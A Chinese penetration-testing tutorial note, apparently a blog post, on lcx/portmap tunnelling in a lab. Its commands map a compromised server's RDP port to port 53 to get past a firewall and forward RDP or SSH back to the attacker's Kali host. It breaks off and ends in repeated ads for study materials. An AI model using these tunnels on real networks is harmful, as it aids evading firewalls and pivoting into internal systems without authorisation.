【渗透测试笔记】之【内网渗透——传输层隧道（lcx（portmap）的使用(1)

实验环境

kali（攻击机，外网地址：192.168.8.48）
Windows2012（边界服务器，外网地址：192.168.8.56，内网地址：10.1.1.10）
CentOS7（边界服务器，外网地址：192.168.8.13，内网地址：10.1.1.13）
Windows2012（DC，内网地址：10.1.1.2）

1 下载与部署

下载地址：https://github.com/AA8j/SecTools/tree/main/lcx
注意：Linux下为portmap。

2 使用方法

2.1 本地端口映射

假如此时已经拿到了边界服务器的权限，但是由于防火墙策略限制导致3389端口无法出网，此时可以将此端口映射到可以出网的端口。

2.1.1 边界服务器为Windows的情况

Windows2012（边界服务器，外网地址：192.168.8.56，内网地址：10.1.1.10）

lcx -tran 53 192.168.8.56 3389

效果演示
此时远程桌面连接192.168.8.56的53端口即可：


此时会有数据日志：

2.1.2 边界服务器为Linux的情况

使用ssh端口转发更方便。在应用层隧道会讲到。

2.2 本地端口转发

假如此时已经拿到了边界服务器Windows2012的权限，但是由于防火墙限制，进网端口被限制，但可以出网，此时就可以将边界服务器的端口转发到kali上，然后访问kali的端口。

2.2.1 边界服务器为Windows的情况

kali（攻击机，外网地址：192.168.8.48）

./portmap -m 2 -p1 4444 -h2 127.0.0.1 -p2 3389

./portmap -m 2 -p1 4444（本机监听端口） -h2 127.0.0.1（转发到目的IP） -p2 3389（转发到目的端口）
# 表示监听本机的4444端口，并转发到127.0.0.1的3389端口。


m的参数说明：
1.监听port1 （p1）端口并且连接主机2（h2）的port2（p2） 端口
2.监听port1（p1）和port2（p2） 端口
3.连接主机1（h1）对应的端口和主机2（h2）对应的端口

Windows2012（边界服务器，外网地址：192.168.8.56，内网地址：10.1.1.10）

lcx.exe -slave 192.168.8.48 4444 127.0.0.1 3389

lcx.exe -slave 192.168.8.48（转发到目的IP） 4444（转发到目的端口） 127.0.0.1 3389（转发的本地端口）
# 表示将本地的3389端口转发到192.168.8.48的4444端口

效果演示
此时通道就已经打通了，远程桌面连接kali（192.168.8.48）即会连接到内网的Windows2012。


此时两端都会有数据日志显示：

2.2.2 边界服务器为Linux的情况

kali（攻击机，外网地址：192.168.8.48）

./portmap -m 2 -p1 4444 -h2 127.0.0.1 -p2 222

./portmap -m 2 -p1 4444（本机监听端口） -h2 127.0.0.1（转发到目的IP） -p2 222（转发到目的端口）
# 表示监听本机的4444端口，并转发到127.0.0.1的222端口。

## 最后

**自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。**

**深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！**

**因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/40865938e04afa8253337b599f3badd8.png)

![img](https://img-blog.csdnimg.cn/img_convert/f41bfa00e816b2954c2b3356991153ea.png)

![img](https://img-blog.csdnimg.cn/img_convert/6e11cf36991d3f28cc41eabe830638f8.png)

![img](https://img-blog.csdnimg.cn/img_convert/c783b58f76383bfd60e8dea434e9298c.png)

![img](https://img-blog.csdnimg.cn/img_convert/18288f91415b2910a78bdaace903b3af.png)

 

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！**

[**如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**

**

[**如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**